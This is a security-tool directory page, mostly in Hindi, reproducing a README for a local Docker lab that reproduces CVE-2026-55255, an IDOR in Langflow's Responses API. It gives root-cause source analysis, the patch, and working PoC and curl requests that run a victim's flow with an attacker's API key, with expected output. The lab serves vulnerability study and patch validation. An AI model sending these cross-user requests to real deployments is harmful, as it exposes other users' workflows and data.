Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-55255-Lab — # CVE-2026-55255 के पुनरुत्पादन के लिए स्थानीय Docker लैब Langflow के Responses API में एक IDOR भेद्यता। कमजोर बनाम पैच किए गए संस्करणों में क्रॉस-यूज़र फ्लो निष्पादन को अनुरोध-आधारित PoC के साथ मान्य करता है। | Kitploit
उपकरण/GitHubGitHub/rootdirective-sec/cve-2026-55255-lab
भेद्यता विश्लेषणवेब एप्लिकेशन शोषणएपीआई सुरक्षा परीक्षणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षालैब और अभ्यास
GitHubrootdirective-sec/cve-2026-55255-lab

CVE-2026-55255-Lab

# CVE-2026-55255 के पुनरुत्पादन के लिए स्थानीय Docker लैब Langflow के Responses API में एक IDOR भेद्यता। कमजोर बनाम पैच किए गए संस्करणों में क्रॉस-यूज़र फ्लो निष्पादन को अनुरोध-आधारित PoC के साथ मान्य करता है।

रिपॉजिटरी देखें
22 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-55255 - Langflow IDOR में /api/v1/responses

कार्यकारी सारांश

यह रिपॉज़िटरी CVE-2026-55255 को दोहराने और सत्यापित करने के लिए एक स्थानीय Docker लैब है, जो Langflow के OpenAI-संगत Responses API को प्रभावित करने वाली एक Insecure Direct Object Reference (IDOR) कमज़ोरी है।

Langflow एक open-source प्लेटफ़ॉर्म है जो AI-संचालित एजेंटों और वर्कफ़्लो को बनाने और तैनात करने के लिए है। यह कमज़ोर व्यवहार /api/v1/responses एंडपॉइंट को प्रभावित करता है, जहाँ एक प्रमाणित हमलावर किसी अन्य उपयोगकर्ता का flow UUID model मान के रूप में प्रदान कर सकता है और Langflow से उस पीड़ित-स्वामित्व वाले flow को निष्पादित करवा सकता है।

यह लैब दो Langflow संस्करणों की तुलना करती है:

सेवाLangflow versionउद्देश्यURL
vuln1.9.0कमज़ोर तुलना लक्ष्यhttp://localhost:7860
patched1.9.1पैच किया गया तुलना लक्ष्यhttp://localhost:7861

इस स्थानीय लैब में प्रदर्शित HTTP सत्यापन पथ निम्न है:```text Authenticated attacker API key → POST /api/v1/responses → request body sets model to victim-owned flow UUID → vulnerable target executes the victim-owned flow → patched target returns flow_not_found and does not execute the victim-owned flow

root@kitploit:~
कमजोर लक्ष्य में, हमलावर के स्वामित्व वाली API कुंजी पीड़ित के स्वामित्व वाले फ़्लो को निष्पादित कर सकती है और प्रतिक्रिया में केवल-पीड़ित मार्कर होता है:```text
VICTIM_ONLY_CONTEXT_55255_VULN

पैच किए गए टारगेट में, वही क्रॉस-यूज़र अनुरोध विक्टिम मार्कर नहीं लौटाता और OpenAI-शैली की त्रुटि बॉडी लौटाता है:```json {"error":{"message":"Flow with id '' not found","type":"invalid_request_error","code":"flow_not_found"}}

root@kitploit:~
यह लैब Langflow 1.9.0 और Langflow 1.9.1 का उपयोग करके भेद्य-बनाम-पैच किए गए HTTP व्यवहार को सत्यापित करता है।

यह लैब जानबूझकर स्थानीय Docker सेवाओं तक सीमित है। यह बाहरी प्रणालियों को लक्षित नहीं करता है और इसमें क्रेडेंशियल चोरी, डेटाबेस डंपिंग, विनाशकारी पेलोड, बाहरी कॉलबैक, मैलवेयर, पर्सिस्टेंस, या पोस्ट-एक्सप्लॉइटेशन गतिविधि शामिल नहीं है।

## सत्यापित तथ्य

| दावा | साक्ष्य | इस लैब में कैसे सत्यापित करें |
| ----- | -------- | ------------------------- |
| CVE-2026-55255 Langflow के `/api/v1/responses` एंडपॉइंट को प्रभावित करता है। | GitHub एडवाइज़री GHSA-qrpv-q767-xqq2 `/api/v1/responses` में एक IDOR का वर्णन करती है। | References अनुभाग की समीक्षा करें और PoC को दोनों स्थानीय लक्ष्यों के विरुद्ध चलाएं। |
| GitHub एडवाइज़री प्रभावित संस्करणों को `< 1.9.1` और पैच किए गए संस्करण को `1.9.1` के रूप में सूचीबद्ध करती है। | GitHub एडवाइज़री GHSA-qrpv-q767-xqq2। | `docker-compose.yml` में भेद्य और पैच किए गए लक्ष्य संस्करणों की तुलना करें। |
| कुछ डाउनस्ट्रीम भेद्यता स्रोत सटीक फिक्स्ड संस्करण पर असहमत हैं। | GitHub/GitLab `1.9.1` को फिक्स्ड के रूप में सूचीबद्ध करते हैं; कुछ डाउनस्ट्रीम इंटेलिजेंस पेज `1.9.2` का उल्लेख करते हैं या मिश्रित शब्दावली रखते हैं। | References अनुभाग की समीक्षा करें और परीक्षण किए गए 1.9.1 व्यवहार के लिए लैब सत्यापन पर भरोसा करें। |
| यह लैब Langflow 1.9.0 को भेद्य तुलना लक्ष्य के रूप में उपयोग करता है। | `vuln` सेवा `langflowai/langflow:1.9.0` का उपयोग करती है। | `docker-compose.yml` का निरीक्षण करें और `docker compose ps` चलाएं। |
| यह लैब Langflow 1.9.1 को पैच किए गए तुलना लक्ष्य के रूप में उपयोग करता है। | `patched` सेवा `langflowai/langflow:1.9.1` का उपयोग करती है। | `docker-compose.yml` का निरीक्षण करें और `docker compose ps` चलाएं। |
| Langflow का Responses API `POST /api/v1/responses` का उपयोग करता है। | Langflow दस्तावेज़ OpenAI-संगत Responses API एंडपॉइंट का वर्णन करता है। | PoC या मैन्युअल curl अनुरोध को `/api/v1/responses` के विरुद्ध चलाएं। |
| Langflow का Responses API फ्लो ID को `model` मान के रूप में स्वीकार करता है। | Langflow दस्तावेज़ बताता है कि `model` मान को `flow_id` से बदल दिया जाता है। | PoC अनुरोध बॉडी का निरीक्षण करें। |
| Langflow API अनुरोधों के लिए `x-api-key` के माध्यम से API कुंजी आवश्यक है। | Langflow API दस्तावेज़ `x-api-key` हेडर के साथ API कुंजी प्रमाणीकरण का वर्णन करता है। | PoC अनुरोध हेडर का निरीक्षण करें। |
| PoC अनुरोध-आधारित है। | `poc/validate_idor.py` HTTP अनुरोध भेजता है और Docker, Docker Compose, शेल कमांड, या कंटेनर API को कॉल नहीं करता है। | `poc/validate_idor.py` का निरीक्षण करें। |
| भेद्य लक्ष्य पीड़ित-स्वामित्व वाले फ्लो को हमलावर-स्वामित्व वाली API कुंजी के साथ निष्पादित करता है। | भेद्य प्रतिक्रिया `VICTIM_ONLY_CONTEXT_55255_VULN` लौटाती है। | भेद्य PoC कमांड को पीड़ित फ्लो ID और हमलावर API कुंजी के साथ चलाएं। |
| पैच किया गया लक्ष्य उसी क्रॉस-यूज़र निष्पादन पथ को ब्लॉक करता है। | पैच की गई प्रतिक्रिया `error.code = flow_not_found` लौटाती है और पीड़ित मार्कर को नहीं लौटाती है। | पैच किए गए PoC कमांड को पीड़ित फ्लो ID और हमलावर API कुंजी के साथ चलाएं। |

## मान्यताएं और अज्ञात

यह लैब Langflow 1.9.0 को भेद्य तुलना लक्ष्य के रूप में उपयोग करता है क्योंकि GitHub एडवाइज़री GHSA-qrpv-q767-xqq2 1.9.1 से पहले के संस्करणों को प्रभावित के रूप में पहचानती है, और स्थानीय परीक्षण ने 1.9.0 में भेद्य व्यवहार की पुष्टि की है।

यह लैब Langflow 1.9.1 को पैच किए गए तुलना लक्ष्य के रूप में उपयोग करता है क्योंकि GitHub एडवाइज़री GHSA-qrpv-q767-xqq2 1.9.1 को पैच किए गए संस्करण के रूप में सूचीबद्ध करती है, और स्थानीय परीक्षण ने पुष्टि की है कि 1.9.1 परीक्षण किए गए क्रॉस-यूज़र `/api/v1/responses` निष्पादन पथ को `flow_not_found` के साथ ब्लॉक करता है।

स्रोतों के बीच एक संस्करण विसंगति है। GitHub और GitLab एडवाइज़री 1.9.1 से पहले के संस्करणों को प्रभावित और 1.9.1 को फिक्स्ड के रूप में सूचीबद्ध करती हैं। कुछ डाउनस्ट्रीम भेद्यता इंटेलिजेंस पेज 1.9.2 का उल्लेख करते हैं या फिक्स्ड संस्करण के आसपास मिश्रित शब्दावली रखते हैं। यह रिपॉजिटरी उस विसंगति का दस्तावेजीकरण करती है और परीक्षण किए गए व्यवहार को सीधे सत्यापित करती है:```text
Langflow 1.9.0
→ attacker API key + victim flow UUID
→ victim marker returned
→ vulnerable behavior observed

Langflow 1.9.1
→ attacker API key + victim flow UUID
→ flow_not_found
→ victim marker not returned
→ blocked behavior observed

यह लैब मानता है कि हमलावर को पीड़ित के फ्लो UUID का पहले से पता है। PoC फ्लो ID का ब्रूट-फोर्स नहीं करता, फ्लो की गणना नहीं करता, या पीड़ित के फ्लो ID खोजने का प्रयास नहीं करता।

यह लैब निम्नलिखित के अवलोकनीय HTTP व्यवहार पर केंद्रित है:```text POST /api/v1/responses

root@kitploit:~
इस अनुरोध प्रारूप के साथ:```json
{
  "model": "<victim-flow-id>",
  "input": "cross-user CVE-2026-55255 validation request",
  "stream": false
}

प्रयोगशाला कमजोर लक्ष्य में अनधिकृत क्रॉस-यूज़र फ्लो निष्पादन और पैच किए गए लक्ष्य में अवरुद्ध व्यवहार प्रदर्शित करती है।

प्रयोगशाला निम्नलिखित प्रदर्शित नहीं करती:

  • फ्लो UUID का ब्रूट-फोर्सिंग,
  • फ्लो ID गणना (enumeration),
  • क्रेडेंशियल चोरी,
  • डेटाबेस डंपिंग,
  • वास्तविक LLM प्रदाता API कुंजियों का उपयोग,
  • वास्तविक उत्पादन डेटा तक पहुंच,
  • बाहरी कॉलबैक,
  • रिमोट कमांड निष्पादन,
  • मैलवेयर,
  • स्थिरता (persistence),
  • या गैर-प्रयोगशाला प्रणालियों के विरुद्ध हमले।

मूल कारण सारांश

CVE-2026-55255 का मूल कारण Langflow की फ्लो समाधान (flow resolution) लॉजिक में एक प्राधिकरण अंतराल है।

/api/v1/responses एंडपॉइंट model फ़ील्ड के माध्यम से एक फ्लो UUID स्वीकार करता है। कमजोर संस्करणों में, get_flow_by_id_or_endpoint_name() के अंदर UUID लुकअप पथ बिना यह सुनिश्चित किए कि हल किया गया Flow.user_id प्रमाणित API-कुंजी उपयोगकर्ता से मेल खाता है, सीधे प्राथमिक कुंजी द्वारा Flow ऑब्जेक्ट लोड कर सकता था।

कमजोर व्यवहार को इस प्रकार संक्षेपित किया जा सकता है:```text Attacker owns API key → attacker sends POST /api/v1/responses → model contains victim-owned flow UUID → flow resolver loads Flow by UUID → resolver does not enforce Flow.user_id == attacker_user.id → response endpoint executes the victim-owned flow → attacker receives victim flow output

root@kitploit:~
पैच किया गया व्यवहार इस प्रकार संक्षेपित किया जा सकता है:```text
Attacker owns API key
→ attacker sends POST /api/v1/responses
→ model contains victim-owned flow UUID
→ flow resolver loads candidate Flow
→ resolver compares Flow.user_id with authenticated API-key user id
→ cross-user lookup is treated as not found
→ response endpoint returns flow_not_found
→ victim-owned flow is not executed

सुरक्षा समस्या यह नहीं है कि हमलावर अपने स्वयं के फ्लो के साथ /api/v1/responses को कॉल कर सकता है। यह अपेक्षित व्यवहार है। समस्या यह है कि एक निम्न-विशेषाधिकार प्राप्त प्रमाणित उपयोगकर्ता एंडपॉइंट को किसी अन्य उपयोगकर्ता के स्वामित्व वाले फ्लो को निष्पादित करने के लिए प्रेरित कर सकता है जब पीड़ित फ्लो UUID प्रदान किया जाता है।

सुरक्षा सबक यह है:```text Object lookup by UUID is not authorization. Every object lookup used by an authenticated API route must be scoped to the authenticated principal or followed by a strict ownership check before the object is used.

root@kitploit:~
## स्रोत कोड विश्लेषण

स्रोत-स्तर की समस्या की पुष्टि Langflow `v1.9.0` और `v1.9.1` की तुलना करके की गई थी।

समीक्षा के लिए उपयोग किए गए स्रोत टैग निम्नलिखित थे:

| संस्करण | Git कमिट |
| ------- | ---------- |
| v1.9.0  | `a47f2ad17eb662e940c550cfccb64a87dddd7e0b` |
| v1.9.1  | `dc26d19c1ed5b2779a3a759f78a747f47089c534` |

प्रासंगिक सहायक है:```python
async def get_flow_by_id_or_endpoint_name(flow_id_or_name: str, user_id: str | UUID | None = None) -> FlowRead:

असुरक्षित UUID शाखा में, फ्लो को ID द्वारा लोड किया गया था:```python flow_id = UUID(flow_id_or_name) flow = await session.get(Flow, flow_id)

root@kitploit:~
सुरक्षा-संबंधित लापता जाँच यह थी:```python
flow.user_id == authenticated_user.id

बिना उस स्वामी जांच के, एक मान्य flow UUID किसी अन्य उपयोगकर्ता से संबंधित होने पर भी Flow ऑब्जेक्ट को हल करने के लिए पर्याप्त था।

पैच किया गया संस्करण user_id का सामान्यीकरण जोड़ता है और UUID पथ पर स्वामी स्कोपिंग लागू करता है:```python if flow is not None and uuid_user_id is not None and flow.user_id != uuid_user_id: flow = None

root@kitploit:~
महत्वपूर्ण व्यवहार है:```text
if the flow exists
and the flow belongs to another user
then treat it as not found

यही कारण है कि पैच की गई लैब प्रतिक्रिया लौटाती है:```json {"error":{"code":"flow_not_found"}}

root@kitploit:~
पीड़ित-स्वामित्व वाले फ्लो को निष्पादित करने के बजाय।

इस लैब के लिए, प्राथमिक कमजोर व्यवहार `/api/v1/responses` निष्पादन पथ है जो `get_flow_by_id_or_endpoint_name()` तक पहुँचता है और स्वामित्व लागू किए बिना पीड़ित-स्वामित्व वाले फ्लो UUID को हल करता है।

पैच संबंधित फ्लो निष्पादन रूट्स को भी सख्त (हार्डन) करता है। `endpoints.py` में, जो रूट पहले raw हेल्पर को FastAPI डिपेंडेंसी के रूप में उपयोग करते थे, उन्हें इससे बदल दिया गया:```python
flow: Annotated[FlowRead, Depends(get_flow_by_id_or_endpoint_name)]

प्रमाणित रैपरों के लिए जैसे:```python async def get_flow_for_api_key_user( flow_id_or_name: str, api_key_user: Annotated[UserRead, Depends(api_key_security)], ) -> FlowRead: return await get_flow_by_id_or_endpoint_name(flow_id_or_name, api_key_user.id)

root@kitploit:~
वे रैपर परिवर्तन अन्य फ्लो निष्पादन मार्गों जैसे `/api/v1/run*` के लिए संबंधित सख्तीकरण हैं। वे सुनिश्चित करते हैं कि सहायक को एक साधारण अनुरोध पैरामीटर पर निर्भर रहने के बजाय प्रमाणित उपयोगकर्ता आईडी प्राप्त हो। इस लैब द्वारा प्रदर्शित मुख्य सुधार `get_flow_by_id_or_endpoint_name()` के अंदर रिज़ॉल्वर-पक्ष स्वामित्व जाँच ही है।

इसलिए स्रोत-स्तर सुधार के दो संबंधित भाग हैं:```text
Core resolver fix:
  enforce owner scoping before returning a Flow object

Related route dependency hardening:
  pass the authenticated API-key or session user's ID into the resolver

स्रोत पैच सारांश

Langflow 1.9.1 कमजोर फ्लो रिज़ॉल्यूशन पथ को कठोर बनाता है, क्रॉस-यूज़र लुकअप को न मिलने के रूप में मानकर तथा संबंधित फ्लो निष्पादन मार्गों को रिज़ॉल्वर में प्रमाणित उपयोगकर्ता संदर्भ पास करना सुनिश्चित करके।

मुख्य पैच की गई लॉजिक है:```python if flow is not None and uuid_user_id is not None and flow.user_id != uuid_user_id: flow = None

root@kitploit:~
पैच उन रूट्स के लिए प्रमाणित रैपर निर्भरताएँ भी जोड़ता है जिन्हें फ्लो को हल करने की आवश्यकता होती है:```python
async def get_flow_for_api_key_user(...):
    return await get_flow_by_id_or_endpoint_name(flow_id_or_name, api_key_user.id)

async def get_flow_for_current_user(...):
    return await get_flow_by_id_or_endpoint_name(flow_id_or_name, current_user.id)

सुरक्षा-संबंधित परिवर्तन है:```text Before: flow UUID → session.get(Flow, flow_id) → Flow object returned without owner scoping → downstream execution path can run victim-owned flow

After: flow UUID → session.get(Flow, flow_id) → compare Flow.user_id with authenticated user id → cross-user result becomes None → shared not-found behavior fires → victim-owned flow is not executed

root@kitploit:~
पैच सूचना प्रकटीकरण को भी कम करता है। क्रॉस-यूज़र एक्सेस को एक अलग प्राधिकरण प्रतिक्रिया लौटाने के बजाय नहीं मिला के रूप में माना जाता है, जो यह प्रकट कर सकती है कि किसी अन्य उपयोगकर्ता का प्रवाह मौजूद है या नहीं।

यह लैब स्रोत समीक्षा और रनटाइम सत्यापन को अलग रखता है:```text
Source patch review:
  explains why the vulnerable resolver could return a victim-owned flow.

Runtime validation:
  proves the vulnerable target executes the victim-owned flow and the patched target does not.

लैब आर्किटेक्चर

लैब Docker Compose के माध्यम से दो पृथक Langflow लक्ष्य चलाती है।```text . ├── docker-compose.yml ├── poc/ │ └── validate_idor.py ├── seed/ │ ├── Dockerfile │ └── seed.py ├── src/ │ ├── langflow-1.9.0/ │ └── langflow-1.9.1/ ├── state/ │ ├── patched.json │ ├── patched.ready │ ├── vuln.json │ └── vuln.ready └── README.md

root@kitploit:~
The `state/` फ़ाइलें सीड सेवाओं द्वारा लैब स्टार्टअप के दौरान उत्पन्न की जाती हैं। `src/` निर्देशिका में चेक-आउट की गई Langflow स्रोत ट्री होती हैं जिनका उपयोग स्रोत-डिफ़ सत्यापन के लिए किया जाता है।

दोनों Langflow सेवाएँ अलग-अलग एप्लिकेशन संस्करण और अलग-अलग कंटेनर-आंतरिक SQLite डेटाबेस का उपयोग करती हैं:

| Service      | Component | Version / Role                         |
| ------------ | --------- | -------------------------------------- |
| vuln         | Langflow  | कमज़ोर लक्ष्य अनुप्रयोग               |
| patched      | Langflow  | पैच किया गया तुलनात्मक अनुप्रयोग       |
| seed-vuln    | Python    | स्थानीय उपयोगकर्ता, API कुंजियाँ, फ़्लो बनाता है |
| seed-patched | Python    | स्थानीय उपयोगकर्ता, API कुंजियाँ, फ़्लो बनाता है |

डिफ़ॉल्ट रूप से उजागर सेवाएँ:```text
Vulnerable target: http://localhost:7860
Patched target:    http://localhost:7861
लक्ष्यLangflow संस्करणअपेक्षित व्यवहार
http://localhost:78601.9.0हमलावर API कुंजी पीड़ित-स्वामित्व वाले flow को निष्पादित कर सकती है
http://localhost:78611.9.1क्रॉस-यूज़र पीड़ित flow निष्पादन अवरुद्ध है

seed services निम्नलिखित के दौरान स्वचालित रूप से चलती हैं:```bash docker compose up --build --wait

root@kitploit:~
वे बनाते हैं:```text
victim user
attacker user
attacker API key
victim flow
attacker flow
state/vuln.json
state/patched.json
state/vuln.ready
state/patched.ready

बीज-निर्मित state/*.json फ़ाइलें अस्थायी स्थानीय परीक्षण मान प्रदान करती हैं, जैसे API कुंजियाँ और flow UUIDs।

PoC state/*.json नहीं पढ़ता। उपयोगकर्ता लक्ष्य URL, API कुंजी, flow ID, और वैकल्पिक अपेक्षित मार्कर को कमांड-लाइन तर्कों के माध्यम से प्रदान करता है।

लैब संवेदनशील /api/v1/responses रूट को न तो बनाता है और न ही संशोधित करता है। यह रूट Langflow द्वारा प्रदान किया जाता है।

आवश्यकताएँ

  • Docker Desktop या Docker Engine
  • Docker Compose v2 जिसमें --wait सपोर्ट हो
  • Python 3
  • इस README में सुविधाजनक कमांड के लिए jq
  • पहले Docker image pull के दौरान इंटरनेट एक्सेस

PoC के लिए किसी Python third-party पैकेज की आवश्यकता नहीं है। PoC केवल Python standard library मॉड्यूल का उपयोग करता है।

Seed container आंतरिक रूप से Python requests पैकेज स्थापित करता है। यह पैकेज केवल lab setup के दौरान seed services द्वारा उपयोग किया जाता है, PoC द्वारा नहीं।

त्वरित आरंभ

लैब को एक साफ़ (clean) अवस्था से प्रारंभ करें:```bash docker compose down -v --remove-orphans find state -type f ( -name ".json" -o -name ".ready" ) -delete docker compose up --build --wait

root@kitploit:~
सेवा स्थिति जाँचें:```bash
docker compose ps

अपेक्षित स्वस्थ सेवाएँ:```text cve-2026-55255-vuln cve-2026-55255-patched cve-2026-55255-seed-vuln cve-2026-55255-seed-patched

root@kitploit:~
अपेक्षित उजागर लक्ष्य:```text
http://localhost:7860
http://localhost:7861

बीज स्थिति फ़ाइलों की जाँच करें:```bash ls -la state cat state/vuln.json | jq . cat state/patched.json | jq .

root@kitploit:~
अपेक्षित फ़ाइलें:```text
state/vuln.json
state/vuln.ready
state/patched.json
state/patched.ready

कमजोर लक्ष्य के विरुद्ध अनुरोध-आधारित सत्यापन चलाएँ:```bash python3 poc/validate_idor.py
--url "$(jq -r '.public_url' state/vuln.json)"
--api-key "$(jq -r '.attacker.api_key' state/vuln.json)"
--flow-id "$(jq -r '.victim_flow.id' state/vuln.json)"
--expect-marker "$(jq -r '.victim_flow.marker' state/vuln.json)"

root@kitploit:~
पैच किए गए लक्ष्य के विरुद्ध अनुरोध-आधारित सत्यापन चलाएँ:```bash
python3 poc/validate_idor.py \
  --url "$(jq -r '.public_url' state/patched.json)" \
  --api-key "$(jq -r '.attacker.api_key' state/patched.json)" \
  --flow-id "$(jq -r '.victim_flow.id' state/patched.json)" \
  --expect-marker "$(jq -r '.victim_flow.marker' state/patched.json)"

PoC उपयोग

PoC एक लक्ष्य URL, एक API कुंजी, एक flow ID, और एक वैकल्पिक अपेक्षित मार्कर स्वीकार करता है:```bash python3 poc/validate_idor.py
--url <target_url>
--api-key <api_key>
--flow-id <target_flow_id>
--expect-marker <expected_output_marker>

root@kitploit:~
Required options:

| Option | Meaning |
| ------ | ------- |
| `--url` | Langflow आधार URL |
| `--api-key` | `x-api-key` हेडर में प्रयुक्त API कुंजी |
| `--flow-id` | `model` मान के रूप में प्रयुक्त Flow UUID |

Optional options:

| Option | Meaning |
| ------ | ------- |
| `--expect-marker` | लक्षित फ्लो निष्पादित होने पर प्रतिक्रिया में अपेक्षित मार्कर |

PoC निम्न HTTP अनुरोध भेजता है:```text
POST /api/v1/responses
x-api-key: <redacted>
Content-Type: application/json

अनुरोध बॉडी:```json { "model": "", "input": "cross-user CVE-2026-55255 validation request", "stream": false }

root@kitploit:~
PoC अनुरोध-आधारित है। यह Docker, Docker Compose, शेल कमांड, WP-CLI, कंटेनर APIs, या Langflow seed APIs को कॉल नहीं करता है।

इस लैब में, `state/*.json` का उपयोग डिस्पोज़ेबल स्थानीय API कुंजियों और फ्लो आईडी को PoC कमांड में कॉपी करने के लिए किया जा सकता है। PoC स्वयं उन फ़ाइलों पर निर्भर नहीं करता है। `state/*.json` में मौजूद API कुंजियाँ डिस्पोज़ेबल स्थानीय लैब कुंजियाँ हैं; इन कमांड्स में वास्तविक प्रोडक्शन API कुंजियों का उपयोग न करें।

## अपेक्षित परिणाम

### संवेदनशील लक्ष्य

कमांड:```bash
python3 poc/validate_idor.py \
  --url "$(jq -r '.public_url' state/vuln.json)" \
  --api-key "$(jq -r '.attacker.api_key' state/vuln.json)" \
  --flow-id "$(jq -r '.victim_flow.id' state/vuln.json)" \
  --expect-marker "$(jq -r '.victim_flow.marker' state/vuln.json)"

अपेक्षित असुरक्षित लक्ष्य सिग्नल:```text

[CVE-2026-55255 REQUEST-BASED VALIDATION] [TARGET] http://localhost:7860 [FLOW_ID] [API_KEY]

[REQUEST] POST http://localhost:7860/api/v1/responses x-api-key: Content-Type: application/json { "model": "", "input": "cross-user CVE-2026-55255 validation request", "stream": false }

[RESPONSE] HTTP 200 flow execution observed : True expected marker : VICTIM_ONLY_CONTEXT_55255_VULN marker found : True

[BODY] ... "text":"VICTIM_ONLY_CONTEXT_55255_VULN\n\nowner=victim-user\n\ntenant=cve-2026-55255-lab" ...

======================================================================================== [CLASSIFICATION] VULNERABLE_BEHAVIOR - expected marker was returned. FINAL: VULNERABLE_BEHAVIOR_OBSERVED

root@kitploit:~
महत्वपूर्ण असुरक्षित सिग्नल है:```text
attacker API key
+ victim flow UUID
+ HTTP 200 completed response
+ victim-only marker returned

पैच किया गया टारगेट

कमांड:```bash python3 poc/validate_idor.py
--url "$(jq -r '.public_url' state/patched.json)"
--api-key "$(jq -r '.attacker.api_key' state/patched.json)"
--flow-id "$(jq -r '.victim_flow.id' state/patched.json)"
--expect-marker "$(jq -r '.victim_flow.marker' state/patched.json)"

root@kitploit:~
अपेक्षित पैच्ड टारगेट सिग्नल:```text
========================================================================================
[CVE-2026-55255 REQUEST-BASED VALIDATION]
[TARGET] http://localhost:7861
[FLOW_ID] <victim-flow-id>
[API_KEY] <redacted>

[REQUEST]
POST http://localhost:7861/api/v1/responses
x-api-key: <redacted>
Content-Type: application/json
{
  "model": "<victim-flow-id>",
  "input": "cross-user CVE-2026-55255 validation request",
  "stream": false
}

[RESPONSE]
HTTP 200
flow execution observed : False
expected marker         : VICTIM_ONLY_CONTEXT_55255_PATCHED
marker found            : False
error code              : flow_not_found

[BODY]
{"error":{"message":"Flow with id '<victim-flow-id>' not found","type":"invalid_request_error","code":"flow_not_found"}}

========================================================================================
[CLASSIFICATION] BLOCKED - target returned flow_not_found.
FINAL: BLOCKED_BEHAVIOR_OBSERVED

महत्वपूर्ण पैच किया गया संकेत है:```text attacker API key

  • victim flow UUID
  • no victim marker
  • error.code = flow_not_found
root@kitploit:~
### बिना मार्कर के निष्पादन देखा गया

यदि `--expect-marker` को छोड़ दिया जाता है और लक्ष्य एक पूर्ण Langflow प्रतिक्रिया लौटाता है, तो PoC रिपोर्ट करता है:```text
[CLASSIFICATION] FLOW_EXECUTION_OBSERVED - target returned a completed flow response.
[NOTE] Ownership of the supplied flow ID must be confirmed separately.
FINAL: FLOW_EXECUTION_OBSERVED

इसका मतलब है कि लक्षित फ्लो निष्पादित हुआ, लेकिन PoC स्वयं यह साबित नहीं कर सकता कि प्रदान किया गया फ्लो ID किसी अन्य उपयोगकर्ता का है। स्वामित्व की पुष्टि लैब सीड डेटा, फ्लो ID के स्रोत, या अन्य अधिकृत साक्ष्य के माध्यम से की जानी चाहिए।

सत्यापन कैसे काम करता है

वैलिडेटर Langflow Responses API एंडपॉइंट पर एक HTTP POST अनुरोध भेजता है:```text /api/v1/responses

root@kitploit:~
अनुरोध प्रदान की गई API key का उपयोग करता है:```text
x-api-key: <attacker-api-key>

अनुरोध निकाय आपूर्ति किए गए फ्लो UUID को model मान के रूप में उपयोग करता है:```json { "model": "", "input": "cross-user CVE-2026-55255 validation request", "stream": false }

root@kitploit:~
अपेक्षित कमजोर व्यवहार:```text
HTTP 200
response object status is completed
error is null
output contains victim-owned flow marker

अपेक्षित पैच व्यवहार:```text request does not execute victim-owned flow response does not contain victim marker response indicates flow_not_found

root@kitploit:~
इस लैब में, Langflow 1.9.1 `HTTP 200` एक OpenAI-शैली JSON त्रुटि ऑब्जेक्ट के साथ लौटाता है:```json
{"error":{"code":"flow_not_found"}}

यही कारण है कि PoC यह मानने के बजाय कि HTTP ट्रांसपोर्ट स्थिति 404 होनी चाहिए, JSON त्रुटि कोड की जाँच करता है।

PoC जानबूझकर केवल क्रॉस-यूज़र फ़्लो निष्पादन शर्त को मान्य करता है। यह फ़्लो आईडी खोजने, UUIDs का ब्रूट-फ़ोर्स करने, उपयोगकर्ताओं को सूचीबद्ध करने, सीक्रेट निकालने या बाहरी सेवाओं को ट्रिगर करने का प्रयास नहीं करता।

curl के साथ मैन्युअल HTTP पुनरुत्पादन

लैब सीड state/*.json में अस्थायी स्थानीय मान लिखता है। ये कमांड्स उन स्थानीय मानों का उपयोग करके curl अनुरोध बनाते हैं। स्टेट फ़ाइलें केवल लैब-संबंधी आर्टिफैक्ट हैं।

असुरक्षित प्रोब:```bash curl -i -sS -X POST
"$(jq -r '.public_url' state/vuln.json)/api/v1/responses"
-H "Content-Type: application/json"
-H "x-api-key: $(jq -r '.attacker.api_key' state/vuln.json)"
--data "{ "model": "$(jq -r '.victim_flow.id' state/vuln.json)", "input": "cross-user CVE-2026-55255 validation request", "stream": false }"

root@kitploit:~
अपेक्षित कमजोर परिणाम:```text
HTTP/1.1 200 OK
...
"status":"completed"
"error":null
"VICTIM_ONLY_CONTEXT_55255_VULN"

पैच किया गया प्रोब:```bash curl -i -sS -X POST
"$(jq -r '.public_url' state/patched.json)/api/v1/responses"
-H "Content-Type: application/json"
-H "x-api-key: $(jq -r '.attacker.api_key' state/patched.json)"
--data "{ "model": "$(jq -r '.victim_flow.id' state/patched.json)", "input": "cross-user CVE-2026-55255 validation request", "stream": false }"

root@kitploit:~
अपेक्षित पैच परिणाम:```text
HTTP/1.1 200 OK
...
{"error":{"code":"flow_not_found"}}

प्रभाव

CVE-2026-55255 बहु-उपयोगकर्ता या मल्टी-टेनेंट Langflow परिनियोजनों में सुरक्षा की दृष्टि से संवेदनशील है, क्योंकि यदि पीड़ित फ़्लो का UUID ज्ञात हो तो एक प्रमाणित उपयोगकर्ता दूसरे उपयोगकर्ता के फ़्लो को निष्पादित करने में सक्षम हो सकता है।

वास्तविक दुनिया पर संभावित प्रभाव इस बात पर निर्भर करता है कि पीड़ित-स्वामित्व वाला फ़्लो क्या करता है।

संभावित प्रभाव में निम्नलिखित शामिल हो सकते हैं:

  • किसी अन्य उपयोगकर्ता के AI वर्कफ़्लो का अनधिकृत निष्पादन,
  • पीड़ित फ़्लो द्वारा संसाधित डेटा का प्रकटीकरण,
  • पीड़ित-स्वामित्व वाले प्रॉम्प्ट या वर्कफ़्लो आउटपुट तक पहुंच,
  • पीड़ित-स्वामित्व वाले इंटीग्रेशन या कॉन्फ़िगर किए गए घटकों का उपयोग,
  • पीड़ित-संबद्ध कंप्यूट या API संसाधनों की खपत,
  • क्रॉस-यूज़र या क्रॉस-टेनेंट प्राधिकरण सीमा बायपास,
  • और फ़्लो आउटपुट के माध्यम से सूचना का खुलासा।

